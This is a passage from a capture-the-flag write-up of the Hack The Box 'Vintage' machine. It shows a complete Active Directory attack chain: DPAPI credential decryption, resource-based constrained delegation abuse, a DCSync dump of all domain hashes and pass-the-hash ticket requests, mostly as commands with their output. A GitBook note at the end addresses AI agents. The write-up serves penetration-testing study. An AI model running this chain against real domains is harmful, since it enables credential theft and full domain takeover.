AgAAAAAAAAAAAAAANABkAGIAZgAwADQAZAA4AC0ANQAyADkAYgAtADQAYgA0AGMALQBiADQAYQBlAC0AOABlADgANwA1AGUANABmAGUAOAA0ADcAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA2or8mZsV0QcGzC0XUJ9K8FBGAAAJgAAAA2YAAJhSpSk/CQYorLpjFuO6lxoHg+a9CGghh0pqkMYfO5Irop3dQGYbS2b3KJo0qLO586XfAvV/0dK/fM8a4erXENVlgtsrHRG48O/VO0Egw0qMZld65hY3jxMWTkzfGqfjNK5ytEtwPHGkAgAAAFiAHjGrO47Qhcn7oxZZBrBQRgAACYAAAANmAABRlZY9IPg0gA9TOU3DaFwm1ylSDyf2HHVE2mTqFzwbK7ZHp2XH8Mx2rvk6EpPUtdIv4kkQU6GsO43Xyg+qcks13CkP8uIIo0ECAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwGUQAxdTpQrS3sEc8gVH9tmXllgaPOCz8cyowsRu8fkbCLFyIcsLVGKHQRv3PUJ1qmSeC604xcQlXI43XddWfFZ3tFF1yLQOSNwfbKDdGQiF3yTlYb6KoMvhQXzs1O1LLP2cUEFOGw8+Pg8uMN4KDBURRWfqmRksyn38bg3OKFSQ1K0CpdNzKfPvS6TnGuvHvnglzZdT5qwQ+nOdXFuJccenatjtlVgQNdp6yZOmpQjrkTtZOxz9b0JRsoOQS0NWu7WThQU4s8yeZkHaJRSJ5lohgdYpZiLJ4x1lG5jLz7/IX5pP6UK1cq5KwLjvaMdGsK9GDj3ofoB/OldTS7StCAXHfzvgjmTscAdxSARKV8ekuDWjsXgz7iZkV04lUG5Jo2FD9xrFdY1DqTSbr7oLdHAwzFBQX5RGnDhKFJXA0KJ29sz1zHGVn4/J4k0e/Hkop6YwRfEighbU=
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'))
AgAAAAAAAAAAAAAAOQA5AGMAZgA0ADEAYQAzAC0AYQA1ADUAMgAtADQAYwBmADcALQBhADgAZAA3AC0AYQBjAGEAMgBkADYAZgA3ADMAMwA5AGIAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA6o788ZIMNhaSpbkSX0mC01BGAAAJgAAAA2YAABAM9ZX6Z/40RYL/aC+dw/D5oa7WMYBN56zwgXYX4QrAIb4DtJoM27zWgMxygJ36SpSHHHQGJMgTs6nZN5U/1q7DBIpQlsWk15jpmUFS2czCScuP9C+dGdYT+p6AWb3L7PZUPqNDHqZRAgAAALFxHXdcOeYbfN6CsYeVaYZQRgAACYAAAANmAABiEtEJeAVpg4QA0lnUzAsf6koPtccl1os9yZrj1gTAc/oSmhBNPEE3/VVVPZw9g3NP26Wj3vO36IOmtsXWYABkukmijrSaAZUCAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwr2BFf0a0DhdM8JymBww6mzQt8tVsTbDmCZ/uZu3bzOAOUXODaGaJOOKqRm2W8rHPOZ27YjtD1pd0MFJDocNJwdhN5pwTdz2v2JsrVVVE363zZjXHeXefhuL5AMwMQr6gpTsCGcxrd1ziTN9Q1lH9QtnYE7OZlbrZPhiWO2vvdX+UQcKlgpxcSGLaczL53/UJXrvt9hueRn+YXxnK+fiyZ0gmjMlP+yuxOiKSvHM/UT6NmuYewnApQrOBO3A5F1XKHguHKT+VS187uBu/TO1ZT4/CrsKws1aG7EkIXhRKzEgukAwn5nZlU6YaADdeQRDzCR1D0ycJKFyZd4QE1Nt6Kbgr+ukbiurwBJd/D1a3+WWCw+S2OJVHB9qqlcW11heJd+v9eGe1Wf6/PYCvyyWMsvusF8XUswgKQbkH821vscyNmJWDwMply/ZvellKuGQ1/s5gVqUkALQ=
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> 

```

```powershell
┌──(ajay㉿kali)-[~]
└─$ echo "AgAAAAAAAAAAAAAANABkAGIAZgAwADQAZAA4AC0ANQAyADkAYgAtADQAYgA0AGMALQBiADQAYQBlAC0AOABlADgANwA1AGUANABmAGUAOAA0ADcAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA2or8mZsV0QcGzC0XUJ9K8FBGAAAJgAAAA2YAAJhSpSk/CQYorLpjFuO6lxoHg+a9CGghh0pqkMYfO5Irop3dQGYbS2b3KJo0qLO586XfAvV/0dK/fM8a4erXENVlgtsrHRG48O/VO0Egw0qMZld65hY3jxMWTkzfGqfjNK5ytEtwPHGkAgAAAFiAHjGrO47Qhcn7oxZZBrBQRgAACYAAAANmAABRlZY9IPg0gA9TOU3DaFwm1ylSDyf2HHVE2mTqFzwbK7ZHp2XH8Mx2rvk6EpPUtdIv4kkQU6GsO43Xyg+qcks13CkP8uIIo0ECAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwGUQAxdTpQrS3sEc8gVH9tmXllgaPOCz8cyowsRu8fkbCLFyIcsLVGKHQRv3PUJ1qmSeC604xcQlXI43XddWfFZ3tFF1yLQOSNwfbKDdGQiF3yTlYb6KoMvhQXzs1O1LLP2cUEFOGw8+Pg8uMN4KDBURRWfqmRksyn38bg3OKFSQ1K0CpdNzKfPvS6TnGuvHvnglzZdT5qwQ+nOdXFuJccenatjtlVgQNdp6yZOmpQjrkTtZOxz9b0JRsoOQS0NWu7WThQU4s8yeZkHaJRSJ5lohgdYpZiLJ4x1lG5jLz7/IX5pP6UK1cq5KwLjvaMdGsK9GDj3ofoB/OldTS7StCAXHfzvgjmTscAdxSARKV8ekuDWjsXgz7iZkV04lUG5Jo2FD9xrFdY1DqTSbr7oLdHAwzFBQX5RGnDhKFJXA0KJ29sz1zHGVn4/J4k0e/Hkop6YwRfEighbU=" | base64 -d > 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847

──(ajay㉿kali)-[~]
└─$ echo "AgAAAAAAAAAAAAAAOQA5AGMAZgA0ADEAYQAzAC0AYQA1ADUAMgAtADQAYwBmADcALQBhADgAZAA3AC0AYQBjAGEAMgBkADYAZgA3ADMAMwA5AGIAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA6o788ZIMNhaSpbkSX0mC01BGAAAJgAAAA2YAABAM9ZX6Z/40RYL/aC+dw/D5oa7WMYBN56zwgXYX4QrAIb4DtJoM27zWgMxygJ36SpSHHHQGJMgTs6nZN5U/1q7DBIpQlsWk15jpmUFS2czCScuP9C+dGdYT+p6AWb3L7PZUPqNDHqZRAgAAALFxHXdcOeYbfN6CsYeVaYZQRgAACYAAAANmAABiEtEJeAVpg4QA0lnUzAsf6koPtccl1os9yZrj1gTAc/oSmhBNPEE3/VVVPZw9g3NP26Wj3vO36IOmtsXWYABkukmijrSaAZUCAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwr2BFf0a0DhdM8JymBww6mzQt8tVsTbDmCZ/uZu3bzOAOUXODaGaJOOKqRm2W8rHPOZ27YjtD1pd0MFJDocNJwdhN5pwTdz2v2JsrVVVE363zZjXHeXefhuL5AMwMQr6gpTsCGcxrd1ziTN9Q1lH9QtnYE7OZlbrZPhiWO2vvdX+UQcKlgpxcSGLaczL53/UJXrvt9hueRn+YXxnK+fiyZ0gmjMlP+yuxOiKSvHM/UT6NmuYewnApQrOBO3A5F1XKHguHKT+VS187uBu/TO1ZT4/CrsKws1aG7EkIXhRKzEgukAwn5nZlU6YaADdeQRDzCR1D0ycJKFyZd4QE1Nt6Kbgr+ukbiurwBJd/D1a3+WWCw+S2OJVHB9qqlcW11heJd+v9eGe1Wf6/PYCvyyWMsvusF8XUswgKQbkH821vscyNmJWDwMply/ZvellKuGQ1/s5gVqUkALQ=" | base64 -d > 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
```

Now we can get the credential file similarly.

```powershell
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6'))  
AQAAAKIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAo0HPmVKl90yo16yi1vczmwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAANlsnh9uZhRwM1xc/8CNBwwAAAAABIAAAKAAAAAQAAAAK+zRTF7v+bPA1UScG2CL4uAAAABoyaUl8s/1J1TabkeZkP1VvjzlbcQ61ojdLQpks7Q0/irEKMmlFOJ/Za2o8akFz3kS28HEeNGkg/3kGNOvhVbnZ2NJQHTJ12SgjFuAuPhdS9Ob2CvqW9xu7pDGXPt5AHKqlqRy+fajjcEYkGP0ki6sLBF/rpFnQvRQ9hCg8iVqyq3BpSdwOZ1h0Zxh8mbvDPv+XHw9+o6DabZifdfj+GuMRi+GDNLvv8orYUqHZ6hHO3vB4kDu5T4G8QsIAtULBs3V2ww1G7xdGI57BGKi4LEk6kuaEWopsCflsc5FK4a4xBQAAABSjIrXKMIH3qbzDSrnPMUzCyhkAA==
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkEUMqGmJyxPL4tRgf5RR%2Fimage.png?alt=media&amp;token=b33c187e-b7cd-4845-8876-e86930de06b1" alt=""><figcaption></figcaption></figure>

```bash
┌──(ajay㉿kali)-[~]
└─$ dpapi.py masterkey \
  -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 \
  -sid S-1-5-21-4024337825-2033394866-2055507597-1115 \
  -password 'Zer0the0ne'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

```

```bash
──(ajay㉿kali)-[~]
└─$ # Decrypt second masterkey
dpapi.py masterkey \
  -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b \
  -sid S-1-5-21-4024337825-2033394866-2055507597-1115 \
  -password 'Zer0the0ne'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

```

second master key does the work.

```bash
┌──(ajay㉿kali)-[~]
└─$ dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312
```

`c.neri_adm : Uncr4ck4bl3P4ssW0rd0312`

## Access as C.NERI\_ADM

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZJGTgl3Eie5mzIlAgl8f%2Fimage.png?alt=media&amp;token=2bab423c-a47e-4d57-b7b2-42d40c10e5fd" alt=""><figcaption></figcaption></figure>

```bash
──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' \
  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri_adm.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=/home/ajay/c.neri_adm.ccache

```

C.NERI\_ADM is part of DELEGATEDADMINS.

Shortest path to domain admins result in the below

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FyzHXzo0V5AkH0vTFyAkA%2Fimage.png?alt=media&amp;token=9fc0306b-040b-461c-b6b7-0a0e229a8e8b" alt=""><figcaption></figcaption></figure>

Key edges:

* **C.NERI\_ADM** → MemberOf → **DELEGATEDADMINS**
* **DELEGATEDADMINS** → **AllowedToAct** on **DC01**

This is **Resource-Based Constrained Delegation (RBCD)**! DELEGATEDADMINS can act on behalf of DC01.

### **Resource-Based Constrained Delegation**

```bash
──(ajay㉿kali)-[~]
└─$ addcomputer.py -k -no-pass \
  -dc-ip 10.129.231.205 \
  -dc-host dc01.vintage.htb \
  -computer-name 'FAKPC$' \
  -computer-pass 'FakePass123!' \
  'vintage.htb/c.neri_adm'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] Authenticating account's machine account quota exceeded!

```

Cant do unconstrained delegation.

I need a machine account which already have. FS01$.

C.NERI\_ADM has GenericAll ON DELEGATEDADMINS so we can add FS01$ to IT

**Step 1: Add FS01$ to DELEGATEDADMINS**

```bash
──(ajay㉿kali)-[~]
└─$ bloodyAD -d vintage.htb --host dc01.vintage.htb \
  -u 'c.neri_adm' -p 'Uncr4ck4bl3P4ssW0rd0312' -k \
  add groupMember DELEGATEDADMINS 'FS01$'
[+] FS01$ added to DELEGATEDADMINS

```

**Step 2 : Get a new ticket for FS01$**&#x20;

```bash
──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/'FS01$':'fs01' \
  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in FS01$.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=/home/ajay/FS01\$.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/ajay/FS01$.ccache
Default principal: FS01$@VINTAGE.HTB

Valid starting       Expires              Service principal
06/04/2026 00:58:14  06/04/2026 10:58:14  krbtgt/VINTAGE.HTB@VINTAGE.HTB
        renew until 06/05/2026 00:58:14

```

**Step 3 : S4U2Proxy to impersonate DC01$**

```bash
──(ajay㉿kali)-[~]
└─$ getST.py \
  -k -no-pass \
  -dc-ip 10.129.231.205 \
  -spn 'cifs/dc01.vintage.htb' \
  -impersonate 'dc01$'  \     
  'vintage.htb/FS01$:fs01'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

```

```bash
(ajay㉿kali)-[~]
└─$ export KRB5CCNAME='/home/ajay/dc01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache'
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/ajay/dc01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Default principal: dc01$@vintage.htb

Valid starting       Expires              Service principal
06/04/2026 01:01:04  06/04/2026 10:58:14  cifs/dc01.vintage.htb@VINTAGE.HTB
        renew until 06/05/2026 00:58:14

```

**Step 4: DCSync**

```bash
──(ajay㉿kali)-[~]
└─$ secretsdump.py -k -no-pass \
  -dc-ip 10.129.231.205 \
  vintage.htb/'dc01$'@dc01.vintage.htb
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:6b751449807e0d73065b0423b64687f0:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:13277778844d7ff470fd39c065908bc2:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5f22c4cf44bc5277d90b8e281b9ba3735636bd95a72f3870ae3de93513ce63c5
Administrator:aes128-cts-hmac-sha1-96:c119630313138df8cd2e98b5e2d018f7
Administrator:des-cbc-md5:c4d5072368c27fba
krbtgt:aes256-cts-hmac-sha1-96:8d969dafdd00d594adfc782f13ababebbada96751ec4096bce85e122912ce1f0
krbtgt:aes128-cts-hmac-sha1-96:3c7375304a46526c00b9a7c341699bc0
krbtgt:des-cbc-md5:e923e308752658df
M.Rossi:aes256-cts-hmac-sha1-96:14d4ea3f6cd908d23889e816cd8afa85aa6f398091aa1ab0d5cd1710e48637e6
M.Rossi:aes128-cts-hmac-sha1-96:3f974cd6254cb7808040db9e57f7e8b4
M.Rossi:des-cbc-md5:7f2c7c982cd64361
R.Verdi:aes256-cts-hmac-sha1-96:c3e84a0d7b3234160e092f168ae2a19366465d0a4eab1e38065e79b99582ea31
R.Verdi:aes128-cts-hmac-sha1-96:d146fa335a9a7d2199f0dd969c0603fb
R.Verdi:des-cbc-md5:34464a58618f8938
L.Bianchi:aes256-cts-hmac-sha1-96:abcbbd86203a64f177288ed73737db05718cead35edebd26740147bd73e9cfed
L.Bianchi:aes128-cts-hmac-sha1-96:92067d46b54cdb11b4e9a7e650beb122
L.Bianchi:des-cbc-md5:01f2d667a19bce25
G.Viola:aes256-cts-hmac-sha1-96:f3b3398a6cae16ec640018a13a1e70fc38929cfe4f930e03b1c6f1081901844a
G.Viola:aes128-cts-hmac-sha1-96:367a8af99390ebd9f05067ea4da6a73b
G.Viola:des-cbc-md5:7f19b9cde5dce367
C.Neri:aes256-cts-hmac-sha1-96:c8b4d30ca7a9541bdbeeba0079f3a9383b127c8abf938de10d33d3d7c3b0fd06
C.Neri:aes128-cts-hmac-sha1-96:0f922f4956476de10f59561106aba118
C.Neri:des-cbc-md5:9da708a462b9732f
P.Rosa:aes256-cts-hmac-sha1-96:f9c16db419c9d4cb6ec6242484a522f55fc891d2ff943fc70c156a1fab1ebdb1
P.Rosa:aes128-cts-hmac-sha1-96:1cdedaa6c2d42fe2771f8f3f1a1e250a
P.Rosa:des-cbc-md5:a423fe64579dae73
svc_sql:aes256-cts-hmac-sha1-96:3bc255d2549199bbed7d8e670f63ee395cf3429b8080e8067eeea0b6fc9941ae
svc_sql:aes128-cts-hmac-sha1-96:bf4c77d9591294b218b8280c7235c684
svc_sql:des-cbc-md5:2ff4022a68a7834a
svc_ldap:aes256-cts-hmac-sha1-96:d5cb431d39efdda93b6dbcf9ce2dfeffb27bd15d60ebf0d21cd55daac4a374f2
svc_ldap:aes128-cts-hmac-sha1-96:cfc747dd455186dba6a67a2a340236ad
svc_ldap:des-cbc-md5:e3c48675a4671c04
svc_ark:aes256-cts-hmac-sha1-96:820c3471b64d94598ca48223f4a2ebc2491c0842a84fe964a07e4ee29f63d181
svc_ark:aes128-cts-hmac-sha1-96:55aec332255b6da8c1344357457ee717
svc_ark:des-cbc-md5:6e2c9b15bcec6e25
C.Neri_adm:aes256-cts-hmac-sha1-96:96072929a1b054f5616e3e0d0edb6abf426b4a471cce18809b65559598d722ff
C.Neri_adm:aes128-cts-hmac-sha1-96:ed3b9d69e24d84af130bdc133e517af0
C.Neri_adm:des-cbc-md5:5d6e9dd675042fa7
L.Bianchi_adm:aes256-cts-hmac-sha1-96:529fa80540d759052c6beb161d5982435a37811b3ad2a338e81b75797c11959e
L.Bianchi_adm:aes128-cts-hmac-sha1-96:7e4599a7f84c2868e20141bdc8608bd7
L.Bianchi_adm:des-cbc-md5:8fa746971a98fedf
DC01$:aes256-cts-hmac-sha1-96:f8ceb2e0ea58bf929e6473df75802ec8efcca13135edb999fcad20430dc06d4b
DC01$:aes128-cts-hmac-sha1-96:a8f037cb02f93e9b779a84441be1606a
DC01$:des-cbc-md5:c4f15ef8c4f43134
gMSA01$:aes256-cts-hmac-sha1-96:142f244e87f4c945da169025bc50f4979b50b4f9d73c71b222c385de4bed6aaa
gMSA01$:aes128-cts-hmac-sha1-96:50a57b26e678293a5b74eb438b236ce4
gMSA01$:des-cbc-md5:cb20e53bc84cd638
FS01$:aes256-cts-hmac-sha1-96:d57d94936002c8725eab5488773cf2bae32328e1ba7ffcfa15b81d4efab4bb02
FS01$:aes128-cts-hmac-sha1-96:ddf2a2dcc7a6080ea3aafbdf277f4958
FS01$:des-cbc-md5:dafb3738389e205b
[*] Cleaning up... 
                                                                                                 // Some code
```

## Acces Denied as Administrator

```bash
──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/Administrator \
  -hashes aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de \
  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Administrator.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=/home/ajay/Administrator.ccache
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEbMyxDDnvTuvI0tPDqOg%2Fimage.png?alt=media&amp;token=b40ef2ac-8f67-4db7-84f8-b160ac93754e" alt=""><figcaption></figcaption></figure>

Cant login as Administrator.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWfI2zgYXpoduyO5Ad7Yp%2Fimage.png?alt=media&amp;token=1b7004e3-719c-4dbf-98fb-4488779ce68d" alt=""><figcaption></figcaption></figure>

But L.BIANCHI\_ADM is also part of DOMAIN Admins so i can try has her

## Shell as L.BIANCHI\_ADM

```bash
──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/L.Bianchi_adm \
  -hashes aad3b435b51404eeaad3b435b51404ee:6b751449807e0d73065b0423b64687f0 \
  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in L.Bianchi_adm.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=/home/ajay/L.Bianchi_adm.ccache
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB0IVHWLsmOwnAUL5fGR8%2Fimage.png?alt=media&amp;token=89c2a585-f4ae-4e8f-87a8-d85acf3e7a35" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fmiu99ecD50RFuYuxQr3P%2Fimage.png?alt=media&amp;token=64208f78-cb19-4d0d-9a67-8886b67ee672" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-vintage.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.